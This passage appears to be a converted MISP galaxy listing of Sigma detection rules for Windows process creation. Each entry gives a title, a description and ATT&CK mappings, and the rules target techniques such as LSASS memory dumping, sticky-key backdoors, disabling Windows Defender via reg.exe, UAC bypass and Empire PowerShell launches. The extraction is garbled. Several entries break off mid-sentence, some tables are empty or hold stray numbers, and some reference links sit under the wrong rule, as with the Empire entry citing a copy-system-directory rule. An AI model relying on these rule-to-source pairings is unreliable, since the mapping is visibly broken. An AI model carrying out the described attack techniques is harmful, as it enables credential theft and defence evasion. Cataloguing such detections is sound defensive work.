<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_winpwn.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_winpwn.yml</a></td>
</tr>
</tbody>
</table>

**Potential NTLM Coercion Via Certutil.EXE**

Detects possible NTLM coercion via certutil using the 'syncwithWU' flag

The tag is: misp-galaxy:sigma-rules="Potential NTLM Coercion Via Certutil.EXE"

View relationships graph

Potential NTLM Coercion Via Certutil.EXE has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 10066. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/LOLBAS-Project/LOLBAS/issues/243">https://github.com/LOLBAS-Project/LOLBAS/issues/243</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_ntlm_coercion.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_ntlm_coercion.yml</a></td>
</tr>
</tbody>
</table>
Visual Studio Code Tunnel Execution

Detects Visual Studio Code tunnel execution. Attackers can abuse this functionality to establish a C2 channel

The tag is: misp-galaxy:sigma-rules="Visual Studio Code Tunnel Execution"

View relationships graph

Visual Studio Code Tunnel Execution has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

Table 10067. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://badoption.eu/blog/2023/01/31/code_c2.html">https://badoption.eu/blog/2023/01/31/code_c2.html</a></td>
</tr>
<tr>
<td><a href="https://ipfyx.fr/post/visual-studio-code-tunnel/">https://ipfyx.fr/post/visual-studio-code-tunnel/</a></td>
</tr>
<tr>
<td><a href="https://code.visualstudio.com/docs/remote/tunnels">https://code.visualstudio.com/docs/remote/tunnels</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_tunnel_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vscode_tunnel_execution.yml</a></td>
</tr>
</tbody>
</table>

Sdclt Child Processes

A General detection for sdclt spawning new processes. This could be an indicator of sdclt being used for bypass UAC techniques.

The tag is: misp-galaxy:sigma-rules="Sdclt Child Processes"

View relationships graph

Sdclt Child Processes has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 10068. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/OTRF/detection-hackathon-apt29/issues/6">https://github.com/OTRF/detection-hackathon-apt29/issues/6</a></td>
</tr>
<tr>
<td><a href="https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891fec3fcd/docs/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.md">https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891fec3fcd/docs/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdclt_child_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdclt_child_process.yml</a></td>
</tr>
</tbody>
</table>

6365
Windows Binary Executed From WSL

Detects the execution of Windows binaries from within a WSL instance. This could be used to masquerade parent-child relationships

The tag is: misp-galaxy:sigma-rules="Windows Binary Executed From WSL"

View relationships graph

Windows Binary Executed From WSL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 10069. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wsl_windows_binaries_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wsl_windows_binaries_execution.yml</a></td>
</tr>
</tbody>
</table>

HackTool - Wmiexec Default Powershell Command

Detects the execution of PowerShell with a specific flag sequence that is used by the Wmiexec script

The tag is: misp-galaxy:sigma-rules="HackTool - Wmiexec Default Powershell Command"

Table 10070. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/fortra/impacket/blob/f4b848fa27654ca95bc0f4c73dbba8b9c2c9f30a/examples/wmiexec.py">https://github.com/fortra/impacket/blob/f4b848fa27654ca95bc0f4c73dbba8b9c2c9f30a/examples/wmiexec.py</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_wmiexec_default_powershell.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_wmiexec_default_powershell.yml</a></td>
</tr>
</tbody>
</table>

Potential SquibbyTwo Technique Execution

Detects potential SquibbyTwo attack technique with possible renamed WMIC via Imphash and OriginalFileName fields

The tag is: misp-galaxy:sigma-rules="Potential SquibbyTwo Technique Execution"

View relationships graph

Potential SquibbyTwo Technique Execution has relationships with:

Suspicious Invoke-WebRequest Execution

Detects a suspicious call to Invoke-WebRequest cmdlet where the and output is located in a suspicious location

The tag is: *misp-galaxy:sigma-rules*="Suspicious Invoke-WebRequest Execution"

View relationships graph

Suspicious Invoke-WebRequest Execution has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 10072. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_powershell_invoke_webrequest_download.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_windows_powershell_invoke_webrequest_download.yml</a></td>
</tr>
</tbody>
</table>

UAC Bypass Using Consent and Comctl32 - Process

Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)

The tag is: *misp-galaxy:sigma-rules*="UAC Bypass Using Consent and Comctl32 - Process"
UAC Bypass Using Consent and Comctl32 - Process has relationships with:


Table 10073. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/hfiref0x/UACME">https://github.com/hfiref0x/UACME</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_consent_comctl32.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_consent_comctl32.yml</a></td>
</tr>
</tbody>
</table>

Ie4uinit Lolbin Use From Invalid Path

Detect use of ie4uinit.exe to execute commands from a specially prepared ie4uinit.inf file from a directory other than the usual directories

The tag is: misp-galaxy:sigma-rules="Ie4uinit Lolbin Use From Invalid Path"

Table 10074. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/">https://lolbas-project.github.io/lolbas/Binaries/Ie4uinit/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ie4uinit.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_ie4uinit.yml</a></td>
</tr>
</tbody>
</table>

NtdllPipe Like Activity Execution

Detects command that type the content of ntdll.dll to a different file or a pipe in order to evade AV / EDR detection. As seen being used in the POC NtdllPipe

The tag is: misp-galaxy:sigma-rules="NtdllPipe Like Activity Execution"

Table 10075. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Security Service Disabled Via Reg.EXE

Detects execution of "reg.exe" to disable security services such as Windows Defender.

The tag is: *misp-galaxy: sigma-rules="Security Service Disabled Via Reg.EXE"

View relationships graph

Security Service Disabled Via Reg.EXE has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

**Table 10076. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://bidouillesecurity.com/disable-windows-defender-in-powershell/">https://bidouillesecurity.com/disable-windows-defender-in-powershell/</a></td>
</tr>
<tr>
<td><a href="https://vms.drweb.fr/virus/?i=24144899">https://vms.drweb.fr/virus/?i=24144899</a></td>
</tr>
<tr>
<td><a href="https://github.com/gordonbay/Windows-On-Reins/blob/e587ac7a0407847865926d575e3c46f68cf7c68d/wor.ps1">https://github.com/gordonbay/Windows-On-Reins/blob/e587ac7a0407847865926d575e3c46f68cf7c68d/wor.ps1</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/JohnLaTwC/status/1415295021041979392">https://twitter.com/JohnLaTwC/status/1415295021041979392</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_disable_sec_services.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_disable_sec_services.yml</a></td>
</tr>
</tbody>
</table>

PUA - Mouse Lock Execution

In Kaspersky's 2020 Incident Response Analyst Report they listed legitimate tool "Mouse Lock" as being used for both credential access and collection in security incidents.

The tag is: *misp-galaxy: sigma-rules="PUA - Mouse Lock Execution"

View relationships graph

PUA - Mouse Lock Execution has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="GUI Input Capture - T1056.002" with estimative-language:likelihood-probability="almost-certain"

**Table 10077. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>
Firewall Rule Update Via Netsh.EXE

Detects execution of netsh with the "advfirewall" and the "set" option in order to set new values for properties of a existing rule

The tag is: misp-galaxy:sigma-rules="Firewall Rule Update Via Netsh.EXE"

Exports Registry Key To a File

Detects the export of the target Registry key to a file.

The tag is: misp-galaxy:sigma-rules="Exports Registry Key To a File"

Weak or Abused Passwords In CLI

Detects weak passwords or often abused passwords (seen used by threat actors) via the CLI. An example would be a threat actor creating a new user via the net command and providing the password inline
Persistence Via Sticky Key Backdoor

By replacing the sticky keys executable with the local admins CMD executable, an attacker is able to access a privileged windows console session without authenticating to the system. When the sticky keys are "activated" the privileged shell is launched.

The tag is: misp-galaxy:sigma-rules="Persistence Via Sticky Key Backdoor"

View relationships graph

Persistence Via Sticky Key Backdoor has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"

Sticky Key Like Backdoor Execution

Detects the usage and installation of a backdoor that uses an option to register a malicious debugger for built-in tools that are accessible in the login screen.

The tag is: misp-galaxy:sigma-rules="Sticky Key Like Backdoor Execution"

View relationships graph

Sticky Key Like Backdoor Execution has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"

Table 10082. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://learn.microsoft.com/en-us/archive/blogs/jonathantrull/detecting-sticky-key-backdoors">https://learn.microsoft.com/en-us/archive/blogs/jonathantrull/detecting-sticky-key-backdoors</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_sticky_key_like_backdoor_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_sticky_key_like_backdoor_execution.yml</a></td>
</tr>
</tbody>
</table>

**WmiPrvSE Spawned A Process**

Detects WmiPrvSE spawning a process

The tag is: *misp-galaxy:sigma-rules="WmiPrvSE Spawned A Process"*

View relationships graph

WmiPrvSE Spawned A Process has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 10083. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmiprvse_spawning_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmiprvse_spawning_process.yml</a></td>
</tr>
</tbody>
</table>

**XSL Script Execution Via WMIC.EXE**

Detects the execution of WMIC with the “format” flag to potentially load XSL files. Adversaries abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files.

The tag is: *misp-galaxy:sigma-rules="XSL Script Execution Via WMIC.EXE"*

View relationships graph

XSL Script Execution Via WMIC.EXE has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="XSL Script Processing - T1220" with estimative-language:likelihood-probability="almost-certain"
Suspicous Regsvr32 Execution From Remote Share

Detects REGSVR32.exe to execute DLL hosted on remote shares

The tag is: misp-galaxy:sigma-rules="Suspicous Regsvr32 Execution From Remote Share"

View relationships graph

Suspicous Regsvr32 Execution From Remote Share has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Table 10085. Table References

Abuse of Service Permissions to Hide Services Via Set-Service

Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)

The tag is: misp-galaxy:sigma-rules="Abuse of Service Permissions to Hide Services Via Set-Service"

View relationships graph

Abuse of Service Permissions to Hide Services Via Set-Service has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011" with estimative-language:likelihood-probability="almost-certain"

Table 10086. Table References
Renamed Plink Execution

Detects the execution of a renamed version of the Plink binary

The tag is: misp-galaxy:.sigma-rules="Renamed Plink Execution"

View relationships graph

Renamed Plink Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 10087. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/">https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_plink.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_plink.yml</a></td>
</tr>
</tbody>
</table>

PUA - NPS Tunneling Tool Execution

Detects the use of NPS, a port forwarding and intranet penetration proxy server

The tag is: misp-galaxy:.sigma-rules="PUA - NPS Tunneling Tool Execution"

View relationships graph

PUA - NPS Tunneling Tool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"

Table 10088. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/ehang-io/nps">https://github.com/ehang-io/nps</a></td>
</tr>
</tbody>
</table>
MMC Spawning Windows Shell

Detects a Windows command line executable started from MMC

The tag is: `misp-galaxy:sigma-rules="MMC Spawning Windows Shell"`

View relationships graph

MMC Spawning Windows Shell has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003"` with estimative-language:likelihood-probability="almost-certain"

Table 10089. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/">https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_susp_child_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_susp_child_process.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Obfuscated PowerShell Code

Detects suspicious UTF16 and base64 encoded and often obfuscated PowerShell code often used in command lines

The tag is: `misp-galaxy:sigma-rules="Suspicious Obfuscated PowerShell Code"`

Table 10090. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://app.any.run/tasks/fcadca91-3580-4ede-aff4-4d2bf809bf99/">https://app.any.run/tasks/fcadca91-3580-4ede-aff4-4d2bf809bf99/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_encoded_obfusc.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_encoded_obfusc.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Scheduled Task Creation via Masqueraded XML File

Detects the creation of a scheduled task using the "-XML" flag with a file without the '.xml' extension. This behavior could be indicative of potential defense evasion attempt during persistence

The tag is: `misp-galaxy:sigma-rules="Suspicious Scheduled Task Creation via Masqueraded XML File"`

View relationships graph
Suspicious Scheduled Task Creation via Masqueraded XML File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Service DACL Abuse To Hide Services Via Sc.EXE

Detects usage of the "sc.exe" utility adding a new service with special permission seen used by threat actors which makes the service hidden and unremovable.

The tag is: misp-galaxy:sigma-rules="Service DACL Abuse To Hide Services Via Sc.EXE"

Execution from Suspicious Folder

Detects a suspicious execution from an uncommon folder
The tag is: misp-galaxy: sigma-rules="Execution from Suspicious Folder"

View relationships graph

Execution from Suspicious Folder has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Masquerading - T1036" with estimative-language: likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10093. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/ThreatHuntingProject/ThreatHunting/blob/cb22598bb70651f88e0285abc8d835757d2cb596/hunts/suspicious_process_creation_via_windows_event_logs.md">https://github.com/ThreatHuntingProject/ThreatHunting/blob/cb22598bb70651f88e0285abc8d835757d2cb596/hunts/suspicious_process_creation_via_windows_event_logs.md</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses">https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses</a></td>
</tr>
<tr>
<td><a href="https://github.com/mbevilacqua/appcompatprocessor/blob/6c847937c5a836e2ce2fe2b915f213c345a3c389/AppCompatSearch.txt">https://github.com/mbevilacqua/appcompatprocessor/blob/6c847937c5a836e2ce2fe2b915f213c345a3c389/AppCompatSearch.txt</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_execution_path.yml</a></td>
</tr>
</tbody>
</table>

**Potential Process Injection Via Msra.EXE**

Detects potential process injection via Microsoft Remote Assistance (Msra.exe) by looking at suspicious child processes spawned from the aforementioned process. It has been a target used by many threat actors and used for discovery and persistence tactics

The tag is: misp-galaxy: sigma-rules="Potential Process Injection Via Msra.EXE"

View relationships graph

Potential Process Injection Via Msra.EXE has relationships with:


<table>
<thead>
<tr>
<th>Table 10094. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/content/dam/fortinet/assets/analyst-reports/ar-qakbot.pdf">https://www.fortinet.com/content/dam/fortinet/assets/analyst-reports/ar-qakbot.pdf</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msra_process_injection.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msra_process_injection.yml</a></td>
</tr>
</tbody>
</table>
**LSASS Dump Keyword In CommandLine**

Detects the presence of the keywords "lsass" and ".dmp" in the commandline, which could indicate a potential attempt to dump or create a dump of the lsass process.

The tag is: *misp-galaxy:.sigma-rules="LSASS Dump Keyword In CommandLine"*

View relationships graph

LSASS Dump Keyword In CommandLine has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"* with estimative-language:likelihood-probability="almost-certain"

**Table 10095. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Hackndo/lsassy">https://github.com/Hackndo/lsassy</a></td>
</tr>
<tr>
<td><a href="https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/">https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/</a></td>
</tr>
<tr>
<td><a href="https://github.com/helpsystems/nanodump">https://github.com/helpsystems/nanodump</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fd49bf">https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fd49bf</a></td>
</tr>
<tr>
<td><a href="https://github.com/CCob/MirrorDump">https://github.com/CCob/MirrorDump</a></td>
</tr>
<tr>
<td><a href="https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6f47f1b6562c9770/rules/windows/credential_access_lsass_memorydump_file_created.toml">https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6f47f1b6562c9770/rules/windows/credential_access_lsass_memorydump_file_created.toml</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lsass_dmp_cli_keywords.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lsass_dmp_cli_keywords.yml</a></td>
</tr>
</tbody>
</table>

**AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl**

Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)

The tag is: *misp-galaxy:sigma-rules="AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl"*

View relationships graph

AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216"* with estimative-language:likelihood-probability="almost-certain"

**Table 10096. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>6378</td>
</tr>
</tbody>
</table>
Suspicious Splwow64 Without Params

Detects suspicious Splwow64.exe process without any command line parameters

The tag is: `misp-galaxy:sigma-rules="Suspicious Splwow64 Without Params"`

View relationships graph

Suspicious Splwow64 Without Params has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"` with `estimative-language:likelihood-probability="almost-certain"`

CreateDump Process Dump

Detects uses of the createdump.exe LOLOBIN utility to dump process memory

The tag is: `misp-galaxy:sigma-rules="CreateDump Process Dump"

View relationships graph

CreateDump Process Dump has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with `estimative-language:likelihood-probability="almost-certain"`

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with `estimative-language:likelihood-probability="almost-certain"`

Table 10097. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/sbousseaden/status/1429401053229891590?s=12">https://twitter.com/sbousseaden/status/1429401053229891590?s=12</a></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_splwow64_cli_anomaly.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_splwow64_cli_anomaly.yml</a></td>
</tr>
</tbody>
</table>

Table 10098. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/bopin2020/status/1366400799199272960">https://twitter.com/bopin2020/status/1366400799199272960</a></td>
</tr>
</tbody>
</table>
RunDLL32 Spawning Explorer

Detects RunDLL32.exe spawning explorer.exe as child, which is very uncommon, often observes Gamarue spawning the explorer.exe process in an unusual way.

The tag is: misp-galaxy:sigma-rules="RunDLL32 Spawning Explorer"

View relationships graph

RunDLL32 Spawning Explorer has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 10099. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redcanary.com/blog/intelligence-insights-november-2021/">https://redcanary.com/blog/intelligence-insights-november-2021/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_spawn_explorer.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_spawn_explorer.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Copy From or To System Directory

Detects a suspicious copy operation that tries to copy a program from system (System32, SysWOW64, WinSxS) directories to another on disk. Often used to move LOLBINs such as 'certutil' or 'desktopimgdownldr' to a different location with a different name in order to bypass detections based on locations.

The tag is: misp-galaxy:sigma-rules="Suspicious Copy From or To System Directory"

View relationships graph

Suspicious Copy From or To System Directory has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 10100. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
HackTool - Empire PowerShell Launch Parameters

Detects suspicious powershell command line parameters used in Empire

The tag is: *misp-galaxy:sigma-rules="HackTool - Empire PowerShell Launch Parameters"*

View relationships graph

HackTool - Empire PowerShell Launch Parameters has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"* with estimative-language:likelihood-probability="almost-certain"

*Table 10101. Table References*

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/resolver.py#L178">https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/resolver.py#L178</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64">https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/deaduser.py#L191">https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/lib/modules/powershell/persistence/powerbreach/deaduser.py#L191</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/EmpireProject/Empire/blob/c2ba61ca8d2031dad0cfc1d5770ba723e8b710db/lib/common/helpers.py#L165">https://github.com/EmpireProject/Empire/blob/c2ba61ca8d2031dad0cfc1d5770ba723e8b710db/lib/common/helpers.py#L165</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_system_dir.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_system_dir.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

Invocation of Active Directory Diagnostic Tool *(ntdsutil.exe)*

Detects execution of ntdsutil.exe, which can be used for various attacks against the NTDS database *(NTDS.DIT)*

The tag is: *misp-galaxy:sigma-rules="Invocation of Active Directory Diagnostic Tool (ntdsutil.exe)"*

View relationships graph

Invocation of Active Directory Diagnostic Tool (ntdsutil.exe) has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="NTDS - T1003.003"* with estimative-
**Dotnet.exe Exec Dll and Execute Unsigned Code LOLBIN**

dotnet.exe will execute any DLL and execute unsigned code

The tag is: `misp-galaxy:sigma-rules="Dotnet.exe Exec Dll and Execute Unsigned Code LOLBIN"`

View relationships graph

Dotnet.exe Exec Dll and Execute Unsigned Code LOLBIN has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with `estimative-language:likelihood-probability="almost-certain"`

